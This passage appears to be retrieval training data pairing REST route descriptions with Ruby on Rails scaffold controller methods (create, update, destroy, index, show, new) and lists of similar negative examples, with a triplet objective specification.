"def create\n @novedadbibliografica = Novedadbibliografica.new(novedadbibliografica_params)\n\n respond_to do |format|\n if @novedadbibliografica.save\n format.html { redirect_to @novedadbibliografica, notice: 'Novedadbibliografica was successfully created.' }\n format.json { render :show, status: :created, location: @novedadbibliografica }\n else\n format.html { render :new }\n format.json { render json: @novedadbibliografica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ezii_geminator = EziiGeminator.new(ezii_geminator_params)\n\n respond_to do |format|\n if @ezii_geminator.save\n format.html { redirect_to @ezii_geminator, notice: 'Ezii geminator was successfully created.' }\n format.json { render :show, status: :created, location: @ezii_geminator }\n else\n format.html { render :new }\n format.json { render json: @ezii_geminator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gowalla_edge = GowallaEdge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gowalla_edge }\n end\n end",
"def new\n @agronomiaquimica = Agronomiaquimica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def create\n @gig = Gig.new(params[:gig])\n\n if @gig.save\n render json: @gig, status: :created, location: @gig\n else\n render json: @gig.errors, status: :unprocessable_entity\n end\n end",
"def create\n @agronomiagalera = Agronomiagalera.new(params[:agronomiagalera])\n\n respond_to do |format|\n if @agronomiagalera.save\n format.html { redirect_to @agronomiagalera, notice: 'Agronomiagalera was successfully created.' }\n format.json { render json: @agronomiagalera, status: :created, location: @agronomiagalera }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiagalera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agronomiaquimica = Agronomiaquimica.new(params[:agronomiaquimica])\n\n respond_to do |format|\n if @agronomiaquimica.save\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully created.' }\n format.json { render json: @agronomiaquimica, status: :created, location: @agronomiaquimica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @ubicacion_geografica = UbicacionGeografica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ubicacion_geografica }\n end\n end",
"def create\n @bodega = Bodega.new(bodega_params)\n\n respond_to do |format|\n if @bodega.save\n actualizar\n format.html { redirect_to @bodega, notice: 'Bodega fue creada exitosamente' }\n format.json { render :show, status: :created, location: @bodega }\n else\n format.html { render :new }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ubicacion_geografica = UbicacionGeografica.new(params[:ubicacion_geografica])\n\n respond_to do |format|\n if @ubicacion_geografica.save\n format.html { redirect_to @ubicacion_geografica, notice: 'Ubicacion geografica was successfully created.' }\n format.json { render json: @ubicacion_geografica, status: :created, location: @ubicacion_geografica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ubicacion_geografica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gp_diagnosis = GpDiagnosis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gp_diagnosis }\n end\n end",
"def create\n @nguoi_dung = NguoiDung.new(params[:nguoi_dung])\n\n respond_to do |format|\n if @nguoi_dung.save\n format.html { redirect_to @nguoi_dung, notice: 'Nguoi dung was successfully created.' }\n format.json { render json: @nguoi_dung, status: :created, location: @nguoi_dung }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nguoi_dung.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @deisgn = Deisgn.new(params[:deisgn])\n\n respond_to do |format|\n if @deisgn.save\n format.html { redirect_to @deisgn, :notice => 'Deisgn was successfully created.' }\n format.json { render :json => @deisgn, :status => :created, :location => @deisgn }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @deisgn.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @gestione = Gestione.new(gestione_params)\n\n respond_to do |format|\n if @gestione.save\n format.html { redirect_to @gestione, notice: 'Gestione was successfully created.' }\n format.json { render :show, status: :created, location: @gestione }\n else\n format.html { render :new }\n format.json { render json: @gestione.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /informacoes_ged/1 PATCH/PUT /informacoes_ged/1.json
|
def update
respond_to do |format|
if @informacao_ged.update(informacao_ged_params)
format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED atualizada com sucesso.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @ubicacion_geografica = UbicacionGeografica.find(params[:id])\n\n respond_to do |format|\n if @ubicacion_geografica.update_attributes(params[:ubicacion_geografica])\n format.html { redirect_to @ubicacion_geografica, notice: 'Ubicacion geografica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ubicacion_geografica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @diagram = Diagram.find(params[:id])\n respond_to do |format|\n if @diagram.update_attributes(params[:diagram])\n format.html { render(:json => {:success => true}) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @diagram.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @idioma.update(idioma_params)\n format.html { redirect_to idiomas_path(@idioma, egresso_id: @idioma.egresso_id), notice: 'Idioma atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: idiomas_path }\n else\n format.html { render :edit }\n format.json { render json: @idioma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pelicula = Pelicula.find(params[:id])\n @pelicula.update(update_params)\n render json: @pelicula, status: :ok\n end",
"def update\n respond_to do |format|\n if @iglesia.update(iglesia_params)\n format.html { redirect_to @iglesia, notice: 'La iglesia #{@iglesia.nombre} ha sido actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @iglesia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @agronomiagalera = Agronomiagalera.find(params[:id])\n\n respond_to do |format|\n if @agronomiagalera.update_attributes(params[:agronomiagalera])\n format.html { redirect_to @agronomiagalera, notice: 'Agronomiagalera was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agronomiagalera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @agencie.update(agencia_params)\n format.html { redirect_to @agencie, notice: 'Agencia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @agencie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ecoetiqueta.update(ecoetiqueta_params)\n format.html { redirect_to @ecoetiqueta, notice: 'Ecoetiqueta was successfully updated.' }\n format.json { render :show, status: :ok, location: @ecoetiqueta }\n else\n format.html { render :edit }\n format.json { render json: @ecoetiqueta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @comentario.update(comentario_params)\n format.html { redirect_to @local, notice: 'Comentario fue editado.' }\n else\n format.html { render :edit }\n end\n format.json { respond_with_bip(@comentario) }\n end\n end",
"def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n if @agronomiaquimica.update_attributes(params[:agronomiaquimica])\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @indicador.update(indicador_params)\n format.html { redirect_to @indicador, notice: 'Indicadores was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @indicador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opcion = Opcion.find(params[:id])\n\n if @opcion.update(params[:opcion])\n head :no_content\n else\n render json: @opcion.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @oncokb.update(oncokb_params)\n format.html { redirect_to @oncokb, notice: 'Oncokb was successfully updated.' }\n format.json { render :show, status: :ok, location: @oncokb }\n else\n format.html { render :edit }\n format.json { render json: @oncokb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @colegio.update(colegio_params)\n format.html { redirect_to @colegio, notice: 'Colegio was successfully updated.' }\n format.json { render :show, status: :ok, location: @colegio }\n else\n format.html { render :edit }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /informacoes_ged/1 DELETE /informacoes_ged/1.json
|
def destroy
@informacao_ged.destroy
respond_to do |format|
format.html { redirect_to informacoes_ged_url }
format.json { head :no_content }
end
end
|
[
"def destroy\n @ubicacion_geografica = UbicacionGeografica.find(params[:id])\n @ubicacion_geografica.destroy\n\n respond_to do |format|\n format.html { redirect_to ubicaciones_geograficas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iglesia.destroy\n respond_to do |format|\n format.html { redirect_to iglesias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicador.destroy\n respond_to do |format|\n format.html { redirect_to indicadores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @examen_colocacion_idioma.destroy\n respond_to do |format|\n format.html { redirect_to examen_colocacion_idiomas_url, notice: 'La solicitud de examen de colocación se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicacao = Indicacao.find(params[:id])\n @indicacao.destroy\n\n respond_to do |format|\n format.html { redirect_to indicacaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @anecdote_chapitre = AnecdoteChapitre.find(params[:id])\n @anecdote_chapitre.destroy\n\n respond_to do |format|\n format.html { redirect_to anecdote_chapitres_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicador = Indicador.find(params[:id])\n @indicador.destroy\n\n respond_to do |format|\n format.html { redirect_to indicadores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diagrama.destroy\n respond_to do |format|\n format.html { redirect_to diagramas_url, notice: 'Diagrama was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gigibecali = Gigibecali.find(params[:id])\n @gigibecali.destroy\n\n respond_to do |format|\n format.html { redirect_to gigibecalis_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end",
"def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend",
"def destroy\n @indicador_economico.destroy\n respond_to do |format|\n format.html { redirect_to indicador_economicos_url, notice: 'Indicador economico eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiagalera = Agronomiagalera.find(params[:id])\n @agronomiagalera.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiagaleras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @electronica_asignatura.destroy\r\n respond_to do |format|\r\n format.html { redirect_to electronica_asignaturas_url, notice: 'La asignatura del programa de ingeniería eléctrica fue eliminada correctamente.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def datadelete\n\n current_email = current_user.email\n athena_name = current_email[/[^@]+/]\n\n @neo = Neography::Rest.new(ENV['NEO4J_URL'] || \"http://localhost:7474\")\n\n category_name = params[:category]\n\n ret = {:response => \"All good\"}\n\n if category_name == \"living group\" or category_name == \"work\"\n ret = {:response => \"Can't delete living gorup or work categories!\"}\n else\n if params[:name]\n connection_name = params[:name]\n puts \"DELETING CONNECTION TO #{connection_name} IN CATEGORY #{category_name}\"\n @neo.execute_query(\"START n=node(*) MATCH (n)-[r:`#{category_name}`]->(x) WHERE (n.athena ='#{athena_name}' and x.athena='#{connection_name}') DELETE r;\")\n else\n puts \"DELETING CATEGORY #{category_name}\"\n @neo.execute_query(\"START n=node(*) MATCH (n)-[r:`#{category_name}`]->() WHERE n.athena ='#{athena_name}' DELETE r;\")\n end\n end\n \n render :json => ret.to_json\n end",
"def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /status_de_la_inscripcions GET /status_de_la_inscripcions.json
|
def index
@status_de_la_inscripcions = StatusDeLaInscripcion.all
respond_to do |format|
format.html # index.html.erb
format.json { render json: @status_de_la_inscripcions }
end
end
|
[
"def index\n @status_del_pago_de_la_inscripcions = StatusDelPagoDeLaInscripcion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_pago_de_la_inscripcions }\n end\n end",
"def index\n @status_de_la_notificacions = StatusDeLaNotificacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_la_notificacions }\n end\n end",
"def index\n @status_ref_pago_inscs = StatusRefPagoInsc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_ref_pago_inscs }\n end\n end",
"def show\n @status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end",
"def index\n @inscriptions = Inscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inscriptions }\n end\n end",
"def index\n @inscripcions = Inscripcion.all\n end",
"def index\n @inscripciones = Inscripcione.all\n end",
"def index\n @status_de_interes_de_prospecto_validados = StatusDeInteresDeProspectoValidado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_interes_de_prospecto_validados }\n end\n end",
"def index\n @status_de_eses = StatusDeEse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_eses }\n end\n end",
"def index\n @integrantes = Integrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @integrantes }\n end\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @status_de_pago_eses = StatusDePagoEse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_pago_eses }\n end\n end",
"def index\n @inscriptions = Inscription.all\n end",
"def index\n @status_de_admisions = StatusDeAdmision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_admisions }\n end\n end",
"def show\n @status_de_la_notificacion = StatusDeLaNotificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_la_notificacion }\n end\n end",
"def show\n @status_ref_pago_insc = StatusRefPagoInsc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_ref_pago_insc }\n end\n end",
"def index\n @instituicoes = Instituicao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instituicoes }\n end\n end",
"def index\n @solicitantes = Solicitante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @solicitantes }\n end\n end",
"def index\n @status_de_pago_de_examen_de_admisions = StatusDePagoDeExamenDeAdmision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_pago_de_examen_de_admisions }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /status_de_la_inscripcions/1 GET /status_de_la_inscripcions/1.json
|
def show
@status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @status_de_la_inscripcion }
end
end
|
[
"def index\n @status_de_la_inscripcions = StatusDeLaInscripcion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_la_inscripcions }\n end\n end",
"def index\n @status_del_pago_de_la_inscripcions = StatusDelPagoDeLaInscripcion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_pago_de_la_inscripcions }\n end\n end",
"def index\n @status_de_la_notificacions = StatusDeLaNotificacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_la_notificacions }\n end\n end",
"def index\n @status_ref_pago_inscs = StatusRefPagoInsc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_ref_pago_inscs }\n end\n end",
"def index\n @inscriptions = Inscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inscriptions }\n end\n end",
"def show\n @status_de_la_notificacion = StatusDeLaNotificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_la_notificacion }\n end\n end",
"def index\n @inscripcions = Inscripcion.all\n end",
"def show\n @status_ref_pago_insc = StatusRefPagoInsc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_ref_pago_insc }\n end\n end",
"def show\n @subscribtion = Subscribtion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscribtion }\n end\n end",
"def index\n @status_de_eses = StatusDeEse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_eses }\n end\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @inscripciones = Inscripcione.all\n end",
"def index\n @status_de_interes_de_prospecto_validados = StatusDeInteresDeProspectoValidado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_interes_de_prospecto_validados }\n end\n end",
"def index\n @integrantes = Integrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @integrantes }\n end\n end",
"def new\n @status_de_la_inscripcion = StatusDeLaInscripcion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end",
"def index\n @status_de_pago_eses = StatusDePagoEse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_pago_eses }\n end\n end",
"def index\n @solicitantes = Solicitante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @solicitantes }\n end\n end",
"def index\n @status_de_admisions = StatusDeAdmision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_admisions }\n end\n end",
"def show\n @status_de_pago_ese = StatusDePagoEse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_pago_ese }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /status_de_la_inscripcions/new GET /status_de_la_inscripcions/new.json
|
def new
@status_de_la_inscripcion = StatusDeLaInscripcion.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @status_de_la_inscripcion }
end
end
|
[
"def new\n @status_del_pago_de_la_inscripcion = StatusDelPagoDeLaInscripcion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_del_pago_de_la_inscripcion }\n end\n end",
"def new\n @status_de_la_notificacion = StatusDeLaNotificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_la_notificacion }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @subscribtion = Subscribtion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subscribtion }\n end\n end",
"def new\n @statusentrega = Statusentrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @statusentrega }\n end\n end",
"def new\n @status_de_interes_de_prospecto_validado = StatusDeInteresDeProspectoValidado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_interes_de_prospecto_validado }\n end\n end",
"def create\n @status_de_la_inscripcion = StatusDeLaInscripcion.new(params[:status_de_la_inscripcion])\n\n respond_to do |format|\n if @status_de_la_inscripcion.save\n format.html { redirect_to @status_de_la_inscripcion, notice: 'Status de la inscripcion was successfully created.' }\n format.json { render json: @status_de_la_inscripcion, status: :created, location: @status_de_la_inscripcion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_de_la_inscripcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @status_ref_pago_insc = StatusRefPagoInsc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_ref_pago_insc }\n end\n end",
"def new\n @solicitud = Solicitud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitud }\n end\n end",
"def new\n @status_ativ = StatusAtiv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_ativ }\n end\n end",
"def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def new\n @newse = Newse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newse }\n end\n end",
"def new\n @status_del_tramite_de_beca = StatusDelTramiteDeBeca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_del_tramite_de_beca }\n end\n end",
"def new\n @breadcrumb = 'create'\n @complaint_status = ComplaintStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint_status }\n end\n end",
"def new\n @special_status = SpecialStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @special_status }\n end\n end",
"def new\n @indicativo = Indicativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def new\n @status_de_pago_ese = StatusDePagoEse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_pago_ese }\n end\n end",
"def new\n @tipo_nota = TipoNota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_nota }\n end\n end",
"def new\n @nota_entrega = NotaEntrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nota_entrega }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /status_de_la_inscripcions POST /status_de_la_inscripcions.json
|
def create
@status_de_la_inscripcion = StatusDeLaInscripcion.new(params[:status_de_la_inscripcion])
respond_to do |format|
if @status_de_la_inscripcion.save
format.html { redirect_to @status_de_la_inscripcion, notice: 'Status de la inscripcion was successfully created.' }
format.json { render json: @status_de_la_inscripcion, status: :created, location: @status_de_la_inscripcion }
else
format.html { render action: "new" }
format.json { render json: @status_de_la_inscripcion.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @inscripcion = Inscripcion.new(inscripcion_params)\n\n respond_to do |format|\n if @inscripcion.save\n format.html { redirect_to @inscripcion, notice: 'Inscripcion was successfully created.' }\n format.json { render :show, status: :created, location: @inscripcion }\n else\n format.html { render :new }\n format.json { render json: @inscripcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @inscripcione = Inscripcione.new(inscripcione_params)\n\n respond_to do |format|\n if @inscripcione.save\n format.html { redirect_to @inscripcione, notice: 'Inscripcione was successfully created.' }\n format.json { render :show, status: :created, location: @inscripcione }\n else\n format.html { render :new }\n format.json { render json: @inscripcione.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @status_de_la_inscripcions = StatusDeLaInscripcion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_la_inscripcions }\n end\n end",
"def create\n @status_ref_pago_insc = StatusRefPagoInsc.new(params[:status_ref_pago_insc])\n\n respond_to do |format|\n if @status_ref_pago_insc.save\n format.html { redirect_to @status_ref_pago_insc, notice: 'Status ref pago insc was successfully created.' }\n format.json { render json: @status_ref_pago_insc, status: :created, location: @status_ref_pago_insc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_ref_pago_insc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @inscripcione = Inscripcione.new(params[:inscripcione])\n\n respond_to do |format|\n if @inscripcione.save\n format.html { redirect_to(@inscripcione, :notice => 'Inscripcione was successfully created.') }\n format.xml { render :xml => @inscripcione, :status => :created, :location => @inscripcione }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @inscripcione.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @inscripcions = Inscripcion.all\n end",
"def create\n @inscripcion_evento = InscripcionEvento.new(inscripcion_evento_params)\n\n respond_to do |format|\n if @inscripcion_evento.save\n format.html { redirect_to @inscripcion_evento.evento, notice: 'Inscripcion evento was successfully created.' }\n format.json { render action: 'show', status: :created, location: @inscripcion_evento }\n else\n format.html { render action: 'new' }\n format.json { render json: @inscripcion_evento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @status_del_pago_de_la_inscripcions = StatusDelPagoDeLaInscripcion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_pago_de_la_inscripcions }\n end\n end",
"def create\n @prescribtion = Prescribtion.new(prescribtion_params)\n\n respond_to do |format|\n if @prescribtion.save\n format.html { redirect_to @prescribtion, notice: 'Prescribtion was successfully created.' }\n format.json { render :show, status: :created, location: @prescribtion }\n else\n format.html { render :new }\n format.json { render json: @prescribtion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @insumos_reactivo = InsumosReactivo.new(insumos_reactivo_params)\n\n respond_to do |format|\n if @insumos_reactivo.save\n format.html { redirect_to @insumos_reactivo, notice: 'Insumos reactivo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @insumos_reactivo }\n else\n format.html { render action: 'new' }\n format.json { render json: @insumos_reactivo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @status_de_la_inscripcion = StatusDeLaInscripcion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end",
"def create\n @insumo_reactivo = InsumoReactivo.new(insumo_reactivo_params)\n\n respond_to do |format|\n if @insumo_reactivo.save\n format.html { redirect_to @insumo_reactivo, notice: 'Insumo reactivo was successfully created.' }\n format.json { render :show, status: :created, location: @insumo_reactivo }\n else\n format.html { render :new }\n format.json { render json: @insumo_reactivo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i\n @electronic_prescription = ElectronicPrescription.new(electronic_prescription_params)\n\n respond_to do |format|\n if @electronic_prescription.save\n format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully created.' }\n format.json { render :show, status: :created, location: @electronic_prescription }\n else\n format.html { render :new }\n format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @status_de_la_notificacion = StatusDeLaNotificacion.new(params[:status_de_la_notificacion])\n\n respond_to do |format|\n if @status_de_la_notificacion.save\n format.html { redirect_to @status_de_la_notificacion, notice: 'Status de la notificacion was successfully created.' }\n format.json { render json: @status_de_la_notificacion, status: :created, location: @status_de_la_notificacion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_de_la_notificacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_accueil_et_inscription\n\t\tpost '/accueil', identifiant: '2', date_naiss: '1915-12-19'\n\t\tassert last_response.body.include? 'son inscription'\n\tend",
"def create\n @servicos = Servico.where(status: 1)\n @lista_preco = ListaPreco.new(lista_preco_params)\n @lista_preco.status = 1\n @lista_preco.entidade_id = current_user.entidade_id\n\n respond_to do |format|\n if @lista_preco.save\n format.html { redirect_to lista_precos_url, notice: 'Lista foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @lista_preco }\n else\n format.html { render :new }\n format.json { render json: @lista_preco.errors, status: :unprocessable_entity }\n end\n end\n end",
